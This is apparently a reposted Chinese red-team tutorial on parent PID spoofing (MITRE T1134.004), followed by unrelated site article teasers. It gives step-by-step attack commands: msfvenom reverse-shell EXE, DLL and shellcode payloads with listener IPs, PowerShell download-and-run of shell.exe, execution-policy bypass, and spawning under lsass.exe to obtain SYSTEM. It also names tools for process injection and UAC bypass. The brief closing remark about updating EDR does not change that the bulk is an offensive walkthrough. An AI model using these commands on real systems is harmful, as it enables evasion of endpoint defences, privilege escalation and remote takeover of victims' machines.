红队技术-父进程欺骗(T1134)
发布:小编
概述
父进程欺骗是一种访问令牌操作技术,通过将恶意文件的PPID指定为explorer.exe等合法进程的PPID,可帮助攻击者规避启发式检测等防御技术。
该欺骗可通过使用本地API调用来执行,该调用可帮助攻击者显式指定PID,如C++中的CreateProcess调用。正如我们将在本文中看到的那样,这种显式分配也可能具有某些附带好处。
MITRE 战术:权限提升(TA0004)和 防御规避(TA0005)
MITRE ATT&CK技术:T1134 :Windows访问令牌模拟窃取以及利用
子技术:T1134.004 :访问令牌操作:父 PID 欺骗
背景:
子进程监控是威胁狩猎中最常见的指标之一。应急响应人员可能会分析如果 conhost.exe 或 cmd.exe 进程是从 Adobe Reader 或 MS Excel 等零相关的应用生成的,则表明可能存在潜在威胁。安全防护软件会在启发式检测下监控此行为,并向管理员发出警报。
父PID(PPID)欺骗方法可以绕过 AV/EDR检测,使其认为是 lsass.exe 这样的合法进程在进行活动。它通过欺骗进程的 PID 以匹配其父进程的 PID 来做到这一点。这种方法可能带来的另一个好处是,如果父进程以 SYSTEM 权限运行,则可以凭借访问令牌的继承,使其子进程也具有相同的 SYSTEM 权限。
1.网络安全多个方向学习路线
2.全网最全的CTF入门学习资料
3.一线大佬实战经验分享笔记
4.网安大厂面试题合集
5.红蓝对抗实战技术秘籍
6.网络安全基础入门、Linux、web安全、渗透测试方面视频
进程、PID和PPID
进程:在 Windows 中,应用程序由一个或多个进程组成。简单来说,当前正在运行的程序的一部分称为进程。不同的应用程序可能会使用相同的进程(如cmd.exe),并且为避免歧义,会分配一个整数来区分一个进程和另一个进程。该整数称为PID。
PID:代表进程标识符 (PID),它是正在运行的进程的数字表示。Windows 中通过 GetCurrentProcessID() 函数返回指定进程的 PID。
父进程:父进程是可以派生多个子进程的进程。例如,命令explorer.exe /e,/root,"C:\WINDOWS\System32\cmd.exe"将派生cmd.exe作为父进程explorer.exe的子进程。在代码中,父进程可以使用fork()系统调用来派生子进程。
PPID:代表父进程标识符(PPID),它是提供给父进程的数字表示形式。任何包含子进程的进程都存在父子关系。
方法一(使用C++程序进行PID欺骗)
Didier Stevens 最初在这里的帖子中谈到了Windows API——"CreateProcess"这种方法。还发布了一个用C++编写的利用程序(SelectMyParent)。代码可以在这里下载:***/web/20210225035252/***/files/software/SelectMyParent_v0_0_0_1.zip
请注意,如果您使用的是更高版本的Visual Studio,可能需要重新生成此EXE。在Visual Studio2022中,我删除了Debug and Release文件夹中的SelectMyParent.pdb文件,并重新生成了项目以使其运行。
在进程管理器中,你会看到 explorer.exe 在 PID 1624 上运行

因此,要在这个父 explorer.exe进程下运行我们自己的二进制文件,可以像这样使用 SelectMyParent.exe,你会看到在 PID 1624下创建了一个新进程。
E:\>SelectMyParent.exe notepad 1624


可以看到在PID 2836启动了notepad.exe
同样,我们也可以运行自己的EXE。让我们先用msfvenom创建一个可以反弹shell的exe
# msfvenom -p windows/shell_reverse_tcp -f exe LHOST=172.19.218.248 LPORT=7777 > shell.exe
在受感染端,使用tasklist /v查看进程运行详情。

在列表中,可以看到explorer.exe进程以test身份在进程ID 1624上运行。
然后运行生成的shell.exe,并附属在explorer.exe的PID下


监听端收到的shell便是explorer.exe进程用户的权限

如果利用具有system权限的进程,即可进行提权。


方法二(使用Powershell DLL注入进行PID欺骗)
F-Secure 实验室利用 powershell 创建了替代上述Didier 二进制文件的方案。它也可以用于父进程欺骗,与上述方法不同之处在于,可以将带有注入的DLL的子进程派生为子进程,功能更强大。代码可以在这里下载***/countercept/ppid-spoofing,首先在受害者机器上查看进程ID,这里我们选择 Powershell 的 PID 24092 作为父进程ID。

利用msfvenmon生成要注入的DLL
msfvenom -p windows/x64/shell_reverse_tcp exitfunc=thread LHOST=172.27.115.207 LPORT=7777 -f dll > shell.dll[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload[-] No arch selected, selecting arch: x64 from the payloadNo encoder specified, outputting raw payloadPayload size: 460 bytesFinal size of dll file: 8704 bytes
然后进行注入:
Import-Module .\PPID-Spoof.ps1PPID-Spoof -ppid 24092 -spawnto "C:\Windows\System32\notepad.exe" -dllpath .\shell.dll


可以看到注入的DLL在Notepad.exe中加载执行了。

通过这种方式,PPID 24092上的powershell.exe进程派生了一个带有插入代码(由DLL提供)的notepad.exe。
方法三(使用Powershell 脚本入进行PID欺骗)
Decoder-it 根据 Didier Stevens 提供的指南开发了一个 powershell 脚本,使用了 CreateProcessFromParent() 方法,可以在此处找到的psgetsystem脚本:***/decoder-it/psgetsystem.git,可用于通过PID欺骗派生子进程。首先我们查看所需进程的 PID。这里以lsass.exe为例

然后执行如下命令:
powershell -ep bypassImport-Module .\psgetsys.ps1[MyProcess]::CreateProcessFromParent(520,".\shell.exe","")

如果报错,可能是UAC的问题,需要先绕过UAC,或者是权限过低,需要提权。
绕过UAC脚本可以在这里找到:***/samratashok/nishang/tree/master/Escalation

然后下载所需的文件,然后执行命令
$client=new-object System.Net.WebClient $client.DownloadFile("http://<url>/psgetsys.ps1",".\psgetsys.ps1")$client.DownloadFile("http://<url>/shell.exe",".\shell.exe")Import-Module .\psgetsys.ps1[MyProcess]::CreateProcessFromParent(520,".\shell.exe","")

可以看到在lsass.exe下成功创建了子进程,因为lsass.exe是system权限,所以反弹shell也获取到了system权限。


方法四(使用C#程序进行PID欺骗)
py7hagoras开发了GetSystem项目,是上述技术的C#实现,可以在这里找到:***/py7hagoras/GetSystem.git
在目标机上下载GetSystem.exe,然后执行GetSystem.exe 自定义程序 -O 目标进程名
GetSystem.exe shell.exe -O lsass



注意:这里可能也需要绕过UAC或者提权,不然执行不成功。
方法五(通过PID欺骗注入Shellcode)
Chirag Savla 使用 C# 开发了一个名为“ProcessInjection”的出色工具,它可以执行许多功能,包括通过 PID 欺骗进行的进程注入。通过提供有效的 PID,该工具会尝试使用 CreateProcess 等原生 API 调用来欺骗 PID,然后将代码注入其中。该工具支持 hex、C 和 base64 格式的shellcode ,也可以选择 DLL 注入。工具在这里下载:***/3xpl01tc0d3r/ProcessInjection
首先,使用msfvenom创建一个shellcode代码
msfvenom -p windows/x64/shell_reverse_tcp -exitfunc=thread LHOST=172.19.218.248 LPORT=7777 -f hex > /hex.txt
然后在目标机中下载

使用ProcessInjection.exe进行注入
ProcessInjection.exe /ppath:"C:\Windows\System32\calc.exe" /path:"hex.txt" /parentproc:explorer /f:hex /t:1
参数说明:
/ppath:目标 EXE 的进程路径(需要注入进程的路径)
/path:shellcode文件路径
/parentproc:父进程名称,目标EXE应在此进程下生成
/f:shellcode文件类型
/t:注入技术
支持的五种注入方式:
1) Vanilla Process Injection
2) DLL Injection
3) Process Hollowing
4) APC Queue
5) Dynamic Invoke - Vanilla Process Injection

我们可以看到calc.exe在explorer.exe下,而shellcode则在calc.exe中执行。


也可以进行DLL注入
ProcessInjection.exe /ppath:"C:\Windows\System32\calc.exe" /path:"shell.dll" /parentproc:explorer /t:2



其他工具
***/Mr-Un1k0d3r/RemoteProcessInjection
***/xpn/getsystem-offline
***/hlldz/APC-PPID
***/ewilded/PPID_spoof
***/christophetd/spoofing-office-macro (VBA实现)
在Metasploit中Meterpreter 可以使用migrate命令或者后渗透模块post/windows/manage/migrate也可以实现进程迁移。
总结
攻击者广泛使用该技术进行检测规避,并增加了应急响应人员检测IoC的时间。针对许多过时的和未打补丁的EDR解决方案,可以使用此技术轻松规避检测。通过本文,告诉大家在组织中应该使用最新的EDR解决方案以及在可以捕捉此类技术的优质产品中使用智能检测功能的重要性。
版权声明:本文来自用户投稿,不代表【百发生活】立场,本平台所发表的文章、图片属于原权利人所有,因客观原因,或会存在不当使用的情况,非恶意侵犯原权利人相关权益,敬请相关权利人谅解并与我们联系(邮箱:)我们将及时处理,共同维护良好的网络创作环境。
大家都在看
vivo手机的一些隐藏实用功能
数码极客vivo手机算是后来居上的典范,现在在手机的地位也算是处在比较高的位置,所以用户量也很大,下面就一起来看看这些你可能不知道的vivo隐藏功能。1、网络权限很多软件习惯在后台偷跑进程,不但浪费电量还浪费流量,真的很气人。选择设置一下网络权限,不给它们后台运行的机会就能解决。操作步骤
干货cad制图大神总结的经验大全
数码极客前言大家好,我是林总,今天我们一起来看下CAD制图有那些知识点,下面我们一起来了解一下!正文一、基础部分在图形表达时,如果没有特殊说明,均以毫米为单位。光滑度确定:工具→选项→显示-圆弧和圆的平滑度 为20000(注:最大值)。右键功能取消:工具→选项→用户系统配置→绘图区域中显
word最实用的几个技巧一看就会
数码极客高效的办公技巧是我们每个人都希望掌握的,但有很多实用技巧却被忽略了,今天给大家推荐5个实用但鲜为人知的技巧。1、将经常使用的文档固定在“最近使用的文档”位置有的文档是我们需要经常打开的,如果打开其他一些文档,新的文档会覆盖旧的文档,这样查找之前的文档就会比较麻烦,这时就可以通过固
wps自带公文模板最新,wps公文模板
数码极客IT之家 10 月 14 日消息,今日,金山办公宣布正式发布 WPS 公文版。金山办公表示,WPS 公文版面向党政机关用户,在 WPS 专业版的基础上,提供公文模式、公文模板、公文转换等辅助功能。据介绍,WPS 公文版拥有四大核心亮点,包括国标规范更智能、跑版“零容忍”、“全能”
igame geforce rtx 4060 ti
数码极客笔者作为一个 ITX 爱好者,每个月都要装一台 ITX 主机玩玩。在 RTX 40 系列显卡还没发布的时候,市面上能选到的最好的单风扇显卡 iGame GeForce RTX 3060 Ti Mini 了。而在 RTX 40 系列显卡发布之际,笔者就觉得今年单风扇显卡大有可为。因
手机的plus pro max都是什么意思
数码极客关注智能手机的朋友应该都知道,目前各个手机品牌在推出某款机型的时候,往往发布的都不止一款,比如iPhone13、iPhone13 Pro、iPhone13 Pro Max;国内品牌亦是如此,比如小米12、小米12 Pro、小米12S等等。看到这不仅有很多人产生疑问,这些后缀究竟代
vip自动续费在哪里取消,各个平台怎样关闭vip续费功能
数码极客致像我一样心大的男孩女孩的一封信如果你喜欢用一些软件看剧,听歌或者干其他的,一定要注意「是否自动续费」我5天内被扣了30块钱,就因为「没取消」自动续费!!!这是爱奇艺会员的自动续费[虎]这是芒果会员的自动续费我也不知道自己怎么开通的自动续费,可能是话费套餐里送的VIP导致的(这我
流程图软件有哪些,流程图最好用的软件
数码极客流程图软件有哪些?流程图软件是一种帮助用户创建流程图和图表的工具。它们通常用于描述工作流程、组织结构、数据流或其他类型的流程。这些软件可以帮助用户更好地理解和展示复杂的信息和流程,从而提高工作的效率和质量。以下是一些常见的流程图软件:Microsoft Visio 是一款流程图软
笔记本电脑字体大小怎么设置
数码极客以下是在Windows 10操作系统中设置笔记本电脑字体大小的步骤:1. 打开“设置”菜单。您可以在Windows任务栏上找到设置图标,也可以使用Windows键 + I快捷键打开设置菜单。2. 在设置菜单中,单击“系统”。3. 在“系统”菜单中,单击“显示”。4. 在“显示”选
word如何快速排版页眉,word横版竖版页眉如何不干扰
数码极客Hello大家好,我是帮帮。今天跟大家分享一下word长文档不同页眉设置技巧,排版布局快手操作,打印应用不加班。有个好消息!为了方便大家更快的掌握技巧,寻找捷径。请大家点击文章末尾的“了解更多”,在里面找到并关注我,里面有海量各类模板素材免费下载,我等着你噢^^<——非常重
pdf怎么删除页面?几个步骤轻松搞定
数码极客PDF怎么删除页面呢?人们经常使用PDF文件。当我们浏览一个PDF文件的时候,发现有一页的内容不符合要求或者没有必要。想删除应该怎么做?大家都知道PDF文件不能直接上编辑,那么我们可以用什么手段删除文件的页面呢?今天就和大家分享一个删除PDF文件页面的方法。有兴趣的小伙伴们快来学
photoshop最好的版本是哪个
数码极客为大家区分一下,Photoshop带CC和不带CC的区别:Photoshop私信小编PS,即可获得软件安装包。图像处理、编辑、通道、图层、路径综合运用;图像色彩的校正;各种特效滤镜的使用;特效字的制作;图像输出与优化等,灵活运用图层风格,流体变形及褪底和蒙板,制作出千变万化的图像